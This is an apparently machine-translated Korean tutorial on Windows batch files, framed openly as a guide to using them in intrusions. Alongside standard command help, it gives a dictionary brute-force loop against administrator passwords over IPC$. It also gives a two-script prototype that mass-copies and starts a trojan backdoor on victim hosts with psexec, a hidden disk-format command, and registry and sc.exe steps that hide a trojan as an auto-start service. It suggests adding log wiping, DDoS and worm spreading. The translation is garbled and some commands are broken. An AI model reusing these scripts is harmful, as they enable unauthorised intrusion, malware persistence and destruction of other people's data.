DOS 일괄 처리를 한 단계로 실행하는 방법
하나:
Windows 명령줄 모드
(win+R) Windows 명령줄 모드로 들어가려면 CMD를 작성하세요.
2:
배치 파일
배치 파일은 하나 이상의 명령이 포함된 형식화되지 않은 텍스트 파일입니다. 파일 확장자는 .bat 또는 .cmd입니다. 명령 프롬프트에 배치 파일 이름을 입력하거나 배치 파일을 두 번 클릭하면 시스템이 Cmd.exe를 호출하여 파일에 있는 명령을 나타나는 순서대로 하나씩 실행합니다. 배치 파일(배치 프로그램 또는 스크립트라고도 함)을 사용하여 일상적이거나 반복적인 작업을 간소화합니다. 물론, 우리 버전의 주요 내용은 배치 파일을 사용하여 시스템을 패치하고 백도어 프로그램을 배치 이식하는 등 침입 시 배치 처리의 몇 가지 실용적인 응용 프로그램을 소개하는 것입니다. 이에 대해서는 나중에 언급하겠습니다. 일괄 처리 학습 여정을 시작하겠습니다. (이 글은 길이 때문에 두 부분으로 나누어져 있습니다. 전반부는 명령어에 대해 다루고 후반부는 예제 분석을 다루고 있습니다.)
1. 간단한 배치 내부 명령어 소개
1 .Echo 명령
에코를 켜거나 요청 에코 기능을 끄거나 메시지를 표시합니다. 매개변수가 없으면 echo 명령은 현재 에코 설정을 표시합니다.
구문
echo [{on off}] [message]
샘플: @echo off / echo hello world
실제 애플리케이션에서는 이 명령을 리디렉션 기호(파이프 기호라고도 함, 일반적으로 > >> ^)와 결합하여 일부 명령을 특정 형식으로 파일에 입력합니다. 이는 향후 예제에 반영됩니다.
2.@ 명령
은 침입 프로세스(예: 적의 하드 드라이브를 포맷하기 위해 일괄 처리 사용) 중에 @ 뒤의 명령이 표시되지 않는다는 의미입니다. 상대방은 귀하가 사용 중인 주문을 볼 수 없습니다.
샘플: @echo off
@echo 이제 프로그램을 초기화하는 중입니다. 잠시만 기다려 주세요...
@format X: /q/u/autoset (format 명령은 /y 매개변수를 사용할 수 없습니다. 다행히 Microsoft에서는 자동 설정 매개변수를 남겨두었습니다. 효과는 /y와 동일합니다.)
3. Goto 명령
레이블로 이동하도록 지정하면 프로그램은 다음 줄부터 명령을 처리합니다.
구문: goto label(레이블은 리디렉션될 배치 프로그램의 행을 지정하는 매개변수입니다.)
샘플:
if {%1} = ={} goto noparms
if {%2}=={} goto noparms (여기서 %1 및 %2 if를 이해하지 못하는 경우 먼저 건너뛰십시오. 자세한 내용이 있을 것입니다. 나중에 설명합니다. )
@Rem null인 경우 매개변수를 확인하여 사용법을 표시합니다.
:noparms
echo 사용법: monitor.bat ServerIP PortNumber
goto end
레이블 이름은 임의로 지정할 수 있지만 의미 있는 문자를 사용하는 것이 가장 좋습니다. 문자 앞에 다음을 추가하여 해당 문자가 레이블임을 나타냅니다. 다음 단계를 찾아 거기로 점프하세요. 다른 사람들이 당신의 의도를 이해할 수 있도록 설명을 하는 것이 가장 좋습니다.
4.Rem 명령
comment 명령은 C 언어의 /*---------*/와 동일하며 실행되지 않고 시작만 됩니다. 댓글의 목적은 다른 사람이 더 쉽게 읽고 나중에 수정할 수 있도록 하는 것입니다.
Rem 메시지
샘플: @Rem 설명은 다음과 같습니다.
5.Pause 명령
Pause 명령을 실행할 때, 다음 메시지가 표시됩니다:
계속하려면 아무 키나 누르십시오.
@echo off
:begin.
copy a:*.* d:\back
echo 드라이버 A에 새 디스크를 넣으십시오.
일시 중지
시작으로 이동
이 예에서는 A 드라이브에 있는 디스크의 모든 파일이 d:\back에 복사됩니다.
A 드라이브에 다른 디스크를 넣으라는 설명이 표시되면 일시 중지 명령은 디스크를 교체할 수 있도록 프로그램을 일시 중지한 다음 아무 키나 눌러 계속 진행합니다.
6.명령 호출
6.명령 호출 p>
상위 배치 프로그램을 종료하지 않고 다른 배치 프로그램에서 하나의 배치 프로그램을 호출합니다. call 명령은 호출 대상으로 사용할 레이블을 허용합니다. 스크립트나 배치 파일 외부에서 호출을 사용하는 경우 명령줄에서는 작동하지 않습니다.
구문 호출 [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
매개변수
[Drive:}[Path ] FileName
호출할 배치 프로그램의 위치와 이름을 지정합니다. 파일 이름 매개변수에는 .bat 또는 .cmd 확장자가 있어야 합니다.
7.start 명령
외부 프로그램 호출 모든 DOS 명령과 명령줄 프로그램은 시작 명령으로 호출할 수 있습니다.
침입에 일반적으로 사용되는 매개변수:
MIN은 시작할 때 창을 최소화합니다.
SEPARATE는 별도의 공간에서 16비트 Windows 프로그램을 시작합니다.
HIGH HIGH 우선 순위 클래스에서 애플리케이션 시작
REALTIME REALTIME 우선 순위 클래스에서 애플리케이션 시작
WAIT 애플리케이션을 시작하고 완료될 때까지 기다립니다.
parameters 명령/프로그램에 대한 전송 인수입니다.
실행된 응용 프로그램이 32비트 GUI 응용 프로그램인 경우 CMD.EXE는 응용 프로그램이 종료될 때까지 기다리지 않고 명령 프롬프트로 돌아갑니다. 이 새로운 동작은 명령 스크립트 내에서 실행되는 경우 발생하지 않습니다.
8.choice 명령
choice 이 명령을 사용하면 사용자가 문자를 입력하여 다른 명령을 실행할 수 있습니다. 사용 시 /c: 매개변수를 추가하고, c: 뒤에 입력할 수 있는 문자를 공백 없이 작성해야 합니다. 반환 코드는 1234입니다...
예: 선택 /c:dme defrag,mem,end
표시됩니다
defrag,mem,end[ D ,M,E]?
샘플:
Sample.bat의 내용은 다음과 같습니다:
@echo off
선택 /c: dme defrag,mem,end
오류 수준 3인 경우 조각 모음으로 이동(가장 높은 값을 가진 오류 코드를 먼저 판단해야 함)
오류 수준 2인 경우 goto mem
오류 수준 1인 경우 끝으로 이동
:defrag
c:\dos\defrag
끝으로 이동
:mem
mem
goto end
:end
Echo good bye
이 파일이 실행된 후 조각 모음을 수행합니다. mem,end[D, M,E]? 사용자는 d me e를 선택할 수 있으며, 그러면 if 문이 판단을 내릴 것입니다. d는 defrag라는 레이블이 붙은 프로그램 세그먼트의 실행을 의미하고, m은 mem이라는 레이블의 프로그램 세그먼트의 실행을 의미합니다. end라는 라벨이 붙은 프로그램 세그먼트 각 프로그램 세그먼트 끝에서 goto end를 사용하여 프로그램을 끝 라벨로 점프한 다음 프로그램에 작별 인사가 표시되고 파일이 끝납니다.
9.If 명령
if는 지정된 조건이 충족되는지 여부를 판단하고 다른 명령을 실행하기로 결정한다는 의미입니다. 세 가지 형식이 있습니다:
1. if "parameter" == "string" 실행 명령
매개변수가 지정된 문자열과 같으면 조건은 true이고 명령이 실행되고, 그렇지 않으면 다음 문장을 실행합니다. (두 개의 등호에 주의하세요)
예를 들어 if "%1"=="a" 형식 a:
if {%1}=={} goto noparms
p >
if {%2}=={} goto noparms
2. 존재하는 파일 이름 명령이 실행될 경우
지정된 파일이 있는 경우 조건은 다음과 같습니다. true이면 명령을 실행하고, 그렇지 않으면 다음 문장을 실행합니다.
config.sys가 있는 경우 config.sys를 편집합니다.
3. 오류 수준인 경우 / 오류 수준 번호가 아닌 경우 실행할 명령입니다.
반환 코드가 다음과 같은 경우 지정된 숫자, 조건이 true이면 명령을 실행하고, 그렇지 않으면 다음 문장을 실행합니다.
예를 들어 오류 수준 2가 x2로 이동하면
DOS 프로그램이 실행 중일 때 오류 수준 또는 반환 코드라고 하는 숫자를 DOS에 반환합니다. 0과 1.
10.for 명령
for 명령은 상대적으로 복잡한 명령으로 주로 매개변수를 사용하여 지정된 범위 내에서 명령을 주기적으로 실행하는 데 사용됩니다.
배치 파일에서 FOR 명령을 사용할 때 %%변수를 사용하여 변수를 지정하세요.
(set) do 명령 [CommandLineOptions] <에서 {%variable %%variable}에 대한 변수를 지정하세요. /p>
p>
%variable은 대체 가능한 단일 문자 매개변수를 지정합니다.
(set) 파일 또는 파일 그룹을 지정합니다. 와일드카드 문자를 사용할 수 있습니다.
명령은 각 파일에 대해 실행할 명령을 지정합니다.
command-parameters 특정 명령에 대한 매개변수 또는 명령줄 스위치를 지정합니다.
배치 파일에서 FOR 명령을 사용할 때는 %variable 대신 %%variable
을 사용하여 변수를 지정하세요. 변수 이름은 대소문자를 구분하므로 %i는 %I와 다릅니다.
명령 확장이 활성화된 경우 다음과 같은 추가 FOR 명령 형식이 지원됩니다.
>FOR /D %variable IN (set) DO 명령 [command-parameters]
세트에 와일드카드 문자가 포함된 경우 사양은 파일 이름이 아닌 디렉터리 이름과 일치합니다.
FOR /R [[drive:]path] %variable IN (set) DO command [command-
[drive:]path에 루트가 있는 디렉터리 트리를 확인하고 각 항목을 가리킵니다. 디렉터리의 FOR 문입니다. /R 뒤에 디렉터리를 지정하지 않으면 현재 디렉터리가 사용됩니다. 집합이 단일 점(.) 문자인 경우 디렉터리 트리가 열거됩니다.
FOR /L %variable IN (start,step,end) DO 명령 [command-para
이 세트는 증분 형식으로 처음부터 끝까지 일련의 숫자를 나타냅니다.
따라서 (1,1,5)는 1 2 3 4 5 시퀀스를 생성하고 (5,-1,1)은
(5 4 3 시퀀스를 생성합니다. 2 1) .
FOR /F ["옵션"] %변수 IN (파일 세트) DO 명령
FOR /F ["옵션"] %변수 IN ("문자열") DO 명령
FOR /F ["options"] %variable IN (명령) DO 명령
또는 usebackq 옵션이 있는 경우
FOR /F ["options " ] %변수 IN (파일 세트) DO 명령
FOR /F ["옵션"] %변수 IN ("문자열") DO 명령
FOR /F ["옵션 " ] %variable IN (명령) DO 명령
filenameset은 하나 이상의 파일 이름입니다. 파일 이름 집합의
다음 파일로 계속 진행하기 전에 각 파일을 열고 읽고 처리합니다.
처리에는 파일을 읽고 이를 텍스트 줄로 나눈 다음 각 줄을 0개 이상의 기호로 구문 분석하는 작업이 포함됩니다
. 그런 다음 발견된 기호 문자열 변수 값
을 사용하여 For 루프가 호출됩니다. 기본적으로 /F는 각 파일의 각 줄에서
를 구분하는 첫 번째 공백 문자를 전달합니다. 빈 줄을 건너뜁니다. 선택적 "옵션"
매개변수를 지정하여 기본 구문 분석 작업을 재정의할 수 있습니다. 이 인용된 문자열에는 다양한 구문 분석 옵션을 지정하는 하나 이상의
키워드가 포함되어 있습니다. 이러한 키워드는 다음과 같습니다:
eol=c - 줄 끝 주석 문자(단 한 개)를 나타냅니다.
skip=n - 시작 부분에서 무시할 줄 수를 나타냅니다. 파일
delims=xxx - 구분 기호 세트를 나타냅니다. 이는
공백과 탭에 대한 기본 구분 기호 세트를 대체합니다.
tokens=x,y,m-n - 각 반복마다 각 행의 어떤 토큰이
에 전달되는지 나타냅니다. 이로 인해 추가 변수 이름이
범위 형식으로 지정됩니다. n번째 기호로 m을 지정합니다.
기호 문자열의 마지막 문자인 별표
그러면 추가 변수가 할당되고 마지막 기호가 해결된 후에 할당됩니다.
줄에 예약된 텍스트를 허용합니다.
usebackq - 다음 상황에서 새 구문이 사용되었음을 지정합니다.
역따옴표로 묶인 문자열을 명령으로 실행하고 인용 문자가 리터럴 문자열 명령이고 fi에서 사용이 허용됩니다. 파일 이름을 큰따옴표로 묶으십시오.
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do 명령
myfile.txt의 각 줄은 세미콜론으로 시작하는 줄을 무시하고 각 줄의 두 번째 및 세 번째 기호를 for 본문에 전달하여 구문 분석됩니다. 프로그램 본문의 for 문은 두 번째 기호를 얻기 위해 %i를 참조하고, 세 번째 기호를 얻기 위해 %j를, 세 번째 기호 뒤의 나머지 모든 기호를 얻기 위해 %k를 참조합니다. 공백이 있는 파일 이름의 경우 파일 이름을 큰따옴표로 묶어야 합니다. 이런 방식으로 큰따옴표를 사용하려면 usebackq 옵션도 사용해야 합니다. 그렇지 않으면 큰따옴표가 구문 분석할 문자열을 정의하는 것으로 이해됩니다.
%i는 for 문에 지정되고, %j와 %k는
tokens= 옵션을 통해 지정됩니다. 문자 z 또는 Z보다 큰 변수를 선언하지 않는 한 tokens= 행에 최대 26개의 기호를 지정할 수 있습니다. FOR 변수는 단일 문자이고 대소문자를 구분하며 동시에 52개 이하의 변수를 사용할 수 있습니다.
파일 이름 집합을 작은따옴표로 괄호로 묶어 인접한 문자열에 FOR /F 구문 분석 논리를 사용할 수도 있습니다. 이런 방식으로 문자열은 파일에서 단일 입력 행으로 처리됩니다.
마지막으로 FOR /F 명령을 사용하여 명령 출력을 분석할 수 있습니다. 방법은 대괄호 사이의 파일 이름 집합을 역괄호로 묶인 문자열로 바꾸는 것입니다. 문자열은 명령줄로 처리되어 하위 CMD.EXE로 전달되며, 그 출력은 메모리에 저장되어 파일로 분석됩니다. 따라서 다음 예는:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
현재 환경의 환경 변수를 열거합니다. 이름.
또한 FOR 변수 참조 교체 기능이 향상되었습니다. 이제 다음
옵션 구문을 사용할 수 있습니다:
~I - 따옴표(") 제거, %I 확장
%~fI - %I 확장 정규화된 경로 이름으로
%~dI - %I를 드라이브 문자로만 확장합니다.
%~pI - %I를 경로로만 확장합니다.
% ~nI - %I를 파일 이름으로만 확장
%~xI - %I를 파일 확장자로만 확장
%~sI - 확장된 경로에는 짧은 이름만 포함됨
%~aI - %I을 파일의 파일 속성으로 확장
%~tI - %I을 파일의 날짜/시간으로 확장
%~zI - %I 확장 파일 크기에 맞춰
%~$PATH:I - PATH 환경 변수에 나열된 디렉터리를 찾고 %I를 찾은 첫 번째 전체 파일로 확장합니다. 환경 변수가 정의되지 않은 경우, 또는 파일을 찾을 수 없으면 이 키 조합은 빈 문자열을 확장합니다.
수정자를 결합하여 여러 결과를 얻을 수 있습니다:
%~dpI - %I를 드라이브 문자로만 확장합니다. 및 경로
%~nxI - %I를 파일 이름과 확장자로만 확장
%~fsI - %I를 파일 이름으로만 확장하고 확장자를 짧은 이름이 있는 전체 경로 이름으로 확장
%~dp$PATH:i - PATH 환경 변수에 나열된 디렉토리를 찾고 %I를 찾은 첫 번째 드라이브 문자 및 경로로 확장합니다.
%~ftzaI - 확장합니다. %I를 출력 라인과 같은 DIR로
위의 예에서 %I 및 PATH는 다른 유효한 값으로 대체될 수 있습니다. %~ 구문
유효한 FOR 변수 이름으로 종료 . %I와 같은 대문자 변수 이름을 선택하면 읽기가 더 쉽고 대소문자를 구분하지 않는 키 조합과의 혼동을 피할 수 있습니다.
위 내용은 MS의 공식 도움말입니다. 아래에서는 침입 시 For 명령의 사용을 구체적으로 설명하기 위해 몇 가지 예를 제시합니다.
sample2:
대상 Win2k 호스트의 무차별 암호 대입을 해독하려면 For 명령을 사용하세요.
우리는 net use \\ip\ipc$ "password" /u:"administrator"를 사용하여 대상 호스트에 연결을 시도하고, 성공하면 비밀번호를 적어둡니다.
가장 중요한 명령은 다음과 같습니다: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
사용 i%는 admin의 비밀번호를 나타냅니다. dict.txt에서 i% 값을 사용하고 net use 명령을 사용하여 연결합니다. 그런 다음 프로그램 실행 결과를 find 명령에 전달합니다. -
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":명령이 성공적으로 완료되었습니다.">>D:\ok.txt, 괜찮습니다.
sample3:
백도어와 트로이 목마를 심기 위해 수많은 육계가 기다리고 있던 적이 있습니까? , 숫자가 특히 크면 원래 매우 행복했던 것이 매우 우울해질 것입니다 :). 기사는 배치 파일을 사용하여 일상적이거나 반복적인 작업을 단순화하는 방법에 대해 설명하는 것으로 시작되었습니다. 그렇다면 그것을 달성하는 방법은 무엇입니까? 하하, 읽어보시면 이해가 되실 겁니다.
주 명령은 하나뿐입니다: (배치 파일에서 FOR 명령을 사용할 경우 %%변수를 사용하여 변수를 지정하십시오.)
@for /f "tokens=1,2 ,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
토큰 사용에 대해서는 위의 샘플 1을 참조하세요. 이는victim.txt의 내용이 door.bat의 %i %j %k 매개변수에 순서대로 전달된다는 의미입니다.
cultivate.bat는 net use 명령을 사용하여 IPC$ 연결을 설정하고 Trojan + 백도어를 피해자에게 복사한 다음 반환 코드(errorlever =인 경우)를 사용하여 해당 호스트를 필터링하는 것에 지나지 않습니다. 백도어를 성공적으로 설치하고 지정된 파일에 에코를 출력하거나 에코합니다.
delims=는 vivtim.txt의 내용이 공백으로 구분되어 있음을 의미합니다. 이걸 보신 후에는victim.txt의 내용이 어떤 것인지 이해하셔야 할 것 같습니다. 일반적으로 IP 비밀번호 사용자 이름인 %%i %%j %%k로 표시되는 개체에 따라 정렬되어야 합니다.
코드 프로토타입:
--------------- 여기서 잘라낸 다음 배치 파일로 저장합니다(저는 main.bat라고 부릅니다) --- -------------
@echo 끄기
@if "%1"= =" " 사용법으로 이동
@for /f "tokens=1,2,3 delims= " %%i(victim.txt)에서 IPChack.bat 호출 시작 %%i %%j %% k
@goto end
:usage
@echo dos modle에서 이 배치를 실행하거나 두 번 클릭하세요.
:end
--------------- 여기서 잘라낸 다음 배치 파일로 저장합니다(저는 main.bat라고 부릅니다) ----------- -- --------------
------ 여기서 잘라낸 다음 배치 파일로 저장합니다(I door.bat라고 부르세요) -------------
@net \\%1\ipc $ %를 사용하세요 3 /u:"%2"
@if errorlevel 1 goto failed
@echo IPC$ 연결을 설정하는 중 …………확인
@ windrv32.exe\\%1\admin$\system32 복사 && 오류 수준 1이 아닌 경우 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c: \winnt \system32\windrv32.exe
@psexec \\%1 net start windrv32 && 오류 수준이 아닌 경우 1 echo %1 백도어 >>ko.txt
:실패
@echo 죄송합니다. 피해자와 연결할 수 없습니다.
------ 여기를 잘라내어 배치 파일로 저장하세요(저는 door .bat라고 부릅니다.) ) --------------------------------
이것은 단지 자동으로 심는 백도어 배치 프로세스입니다. 프로토타입, 두 개의 일괄 처리 및 백도어 프로그램(Windrv32.exe), PSexec.exe를 동일한 디렉터리에 배치해야 합니다. 일괄 처리 내용
을 확장할 수 있습니다(예: 로그 지우기 기능 추가). + DDOS, 정기적으로 사용자를 추가하는 기능을 추가하고 자동 전파 기능(웜)을 갖도록 더 자세히 설명합니다. 여기서는 자세히 설명하지 않고 관심 있는 친구들이 스스로 연구할 수 있습니다.
2. 배치 파일 처리 방법 배치 처리에서 매개변수 사용
배치 처리에서는 매개변수를 사용할 수 있으며 일반적으로 1%에서 9%까지 매개변수가 여러 개인 경우 Shift를 사용해야 합니다. 이동하는 경우는 드뭅니다. 따라서 더 이상 생각하지 않습니다.
sample1: fomat.bat
@echo off
if "%1"=="a" 형식 a:
: format
@format a:/q/u/auotset
@echo 드라이버 A에 다른 디스크를 삽입하십시오.
@pause
@goto fomat
이 예제는 여러 개의 플로피 디스크를 연속적으로 포맷하는 데 사용되므로 사용 시 dos 창에 fomat.bat a를 입력해야 합니다. ㅎㅎ 좀 불필요한 것 같습니다~^_^
sample2:
IPC$ 연결을 설정하려면 항상 긴 명령 목록을 입력해야 합니다. 실수가 있으므로 일부 고정 명령을 배치 프로세스에 작성하는 것이 좋습니다. 이 배치 프로세스에 육계의 IP 비밀번호 사용자 이름을 매개변수로 할당하면 매번 명령을 입력할 필요가 없습니다.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 여기서는 PASSWORD가 두 번째 매개변수라는 점에 유의하세요.
@if errorlevel 1 에코 연결 실패
어때요, 매개변수를 사용하는 것은 비교적 간단하죠? 이렇게 잘생겼으면 배웠나봐요^_^.No.3
3. 복합명령어(복합명령어) 사용법
1.&
사용법: 아니요. 하나의 명령 & 두 번째 명령 [& 세 번째 명령...]
이 방법을 사용하면 명령의 성공적인 실행 여부에 관계없이 여러 명령을 동시에 실행할 수 있습니다
샘플 :
C:\>dir z: & dir c:\Ex4rch
시스템이 지정된 경로를 찾을 수 없습니다.
C 드라이브의 볼륨에는 레이블이 없습니다.
볼륨 일련 번호는 0078-59FB입니다.
c:\Ex4rch 디렉터리
2002-05-14 23:51
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
3.
사용법: 제 1조 두 번째 명령 명령 [세 번째 명령...]
이 방법을 사용하면 여러 명령을 동시에 실행할 수 있으며 올바른 명령이 실행되면 후속 명령이 실행됩니다. 실행되지 않으면 올바른 명령은 항상 모든 명령을 실행합니다.
C:\Ex4rch>dir sometips.gif del sometips.gif
C 드라이브의 볼륨에는 레이블이 없습니다.
볼륨 일련 번호는 0078-59FB입니다.
C:\Ex4rch 디렉터리
2002-05- 14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
결합된 명령 사용 예:
샘플 :
@copy trojan.exe \\%1\admin$\system32 && 그렇지 않은 경우 errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
넷째, 파이프라인 명령 사용법
1. 명령
사용법: 첫 번째 명령, 두 번째 명령 [세 번째 명령...]
한 명령의 결과를 두 번째 명령의 매개변수로 사용합니다. 이 방법은 Unix에서 매우 일반적입니다.
샘플:
time /t>>D:\IP.log
netstat -n -p tcp find ":3389">>D:\ IP.log
탐색기 시작
보셨나요? 터미널 서비스에서 사용하면 사용자가 다음 배트를 실행하여 로그인한 사용자의 IP를 얻을 수 있도록 시작 프로그램을 사용자 정의할 수 있습니다.
2.>, >>출력 리디렉션 명령
명령이나 프로그램의 출력을 특정 파일로 리디렉션합니다. >>와 >>의 차이점은 >입니다. 원본 파일의 내용을 지우고 조정한 다음 지정된 파일에 쓰는 반면 >>는 내용을 변경하지 않고 지정된 파일에 내용만 추가합니다.
sample1:
echo hello world>c:\hello.txt (멍청한 예?)
sample2:
오늘의 DLL 트로이 목마 인기 있는 우리는 system32가 숨고 찾기에 좋은 장소라는 것을 알고 있습니다. 많은 트로이 목마가 거기에 도달하기 위해 머리를 갈고 닦았으며 이를 위해 시스템과 필요한 응용 프로그램을 설치한 후 EXE를 디렉터리에 설치할 수 있습니다. . DLL 파일로 기록을 만듭니다.
CMD 실행-디렉터리를 system32로 변환--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
이렇게 하면 모든 EXE 파일과 DLL 파일의 이름이 각각 exeback.txt와 dllback.txt에 기록됩니다.
향후에 이상이 발견되었지만 기존 방법으로는 문제를 찾을 수 없는 경우에는 반드시 시스템인지 확인해 보세요. DLL Trojan이 시스템에 몰래 들어왔습니다.
이때 동일한 명령을 사용하여 system32 아래의 EXE 파일과 DLL 파일을 다른 exeback1.txt와 dllback1에 기록합니다. txt를 실행한 다음
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt를 실행합니다(FC 명령을 사용하여 DLL과 두 번 전후의 EXE 파일을 검색하고 결과를 diff.txt)에 입력하여 추가 DLL 및 EXE 파일을 찾은 다음 생성 시간, 버전, 압축 여부 등을 확인합니다. DLL 트로이 목마가 방문했는지 여부를 쉽게 확인할 수 있습니다. 존재하지 않는 것이 가장 좋습니다. regsvr32 /u trojan.dll을 사용하여 먼저 백도어 DLL 파일을 로그아웃한 후 이상이 없으면 휴지통으로 이동하십시오. 시스템을 완전히 삭제하거나 백신 소프트웨어 회사에 제출하세요.
3.< , >& , <&
< 키보드가 아닌 파일에서 명령 입력을 읽습니다.
>& 한 핸들의 출력을 다른 핸들의 입력에 씁니다.
<& 한 핸들에서 입력을 읽고 이를 다른 핸들의 출력에 씁니다.
자주 사용하지 않는 내용이라 자세히 소개하지는 않겠습니다.
5번
5. 배치 파일을 활용한 레지스트리 운영 방법
침입 과정에서 레지스트리의 특정 키 값이 유출되는 경우가 많다. 특정 목적을 달성하기 위해, 예를 들어 백도어 및 트로이 목마 프로그램을 숨기고 실행 아래의 나머지 키 값을 삭제합니다. 또는 백도어를 로드하는 서비스를 만드세요. 물론 시스템을 강화하거나 시스템의 특정 속성을 변경하기 위해 레지스트리를 수정할 수도 있습니다. 이를 위해서는 레지스트리 운영에 대한 특정 이해가 필요합니다. 먼저 .REG 파일을 사용하여 레지스트리를 작동하는 방법을 알아보겠습니다. (배치 처리를 사용하여 REG 파일을 생성할 수 있습니다.)
레지스트리에서 일반적인 작업은 생성, 수정, 삭제입니다.
1. 생성
생성에는 두 가지 유형이 있는데, 하나는 하위 키(Subkey)를 생성하는 것입니다.
다음 내용으로 파일을 생성합니다. < /p >
Windows 레지스트리 편집기 버전 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
그런 다음 스크립트를 실행하면 HKEY_LOCAL_MACHINE\SOFTWARE\ 아래에 파일이 생성됩니다. 마이크로소프트 '해커'라는 아이.
다른 하나는 프로젝트 이름을 만드는 것입니다
그러면 이 파일 형식은 일반적인 파일 형식으로 레지스트리에서 내보낸 파일 형식과 일치하며 내용은 다음과 같습니다.
p>
Windows 레지스트리 편집기 버전 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"
Invader"="Ex4rch "
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
이 내용은 [ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run]
세 가지 새로운 프로젝트: Invader, door 및 about
Invader 유형은 "문자열 값"입니다.
문의 종류는 "REG SZ Value" 입니다.
Autodos의 종류는 "DWORD Value" 입니다.
2 수정은 비교적 간단합니다. , 필요한 수정 작업을 수행합니다. 프로젝트를 내보낸 다음 메모장을 사용하여 수정하고 가져옵니다(regedit /s).
3. 삭제
먼저 프로젝트 이름을 삭제해 보겠습니다.
Windows 레지스트리 편집기 버전 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ "Ex4rch" 스크립트를 실행합니다. under Run]이 삭제되었습니다.
하위 키 삭제를 다시 살펴보겠습니다. 다음과 같이 스크립트를 만듭니다.
Windows 레지스트리 편집기 버전 5.00
[-HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
이 스크립트를 실행하면 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]이 삭제됩니다.
지금쯤이면 .reg 파일을 기본적으로 마스터했다고 생각합니다. 따라서 이제 목표는 일괄 처리를 사용하여 특정 콘텐츠가 포함된 .reg 파일을 생성하는 것입니다. 리디렉션 기호를 사용하여 특정 유형의 파일을 쉽게 생성할 수 있다고 앞서 말한 내용을 기억하십시오.
samlpe1: 위의 예와 같이 다음 레지스트리 파일을 생성하려는 경우
Windows 레지스트리 편집기 버전 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\ CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
p>
필요한 것은 이것뿐입니다:
@echo Windows 레지스트리 편집기 버전 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ 실행]>Sample .reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\ system32\\door .exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
우리는 이제 일부 비교 사용 기존 트로이 목마의 경우 레지스트리의 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (Runonce, Runservices, Runexec)]에 키 값이 생성되어 트로이 목마의 자동 시작을 실현할 수 있습니다. 프로그램의 경로를 쉽게 노출시켜 트로이 목마를 탐지하고 종료할 수 있습니다. 반면에 트로이 목마 프로그램을 시스템 서비스로 등록하는 것이 상대적으로 더 안전합니다. 다음은 구성된 IRC 트로이 목마 DSNX를 사용합니다. 예(이름: windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run] >>patch.dll p>
@echo "windsnx "=- >>patch.dll
@sc.exe 생성 Windriversrv 유형= 커널 시작= 자동 표시 이름= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [레지스트리에서 DSNXDE 시작 항목을 삭제하고 sc.exe를 사용하여 이를 시스템에 중요한 서비스로 등록하고 해당 속성을 숨김 및 읽기 전용으로 설정하고 자체 시작되도록 구성합니다.]
@REM 이게 더 안전하지 않나요^_^.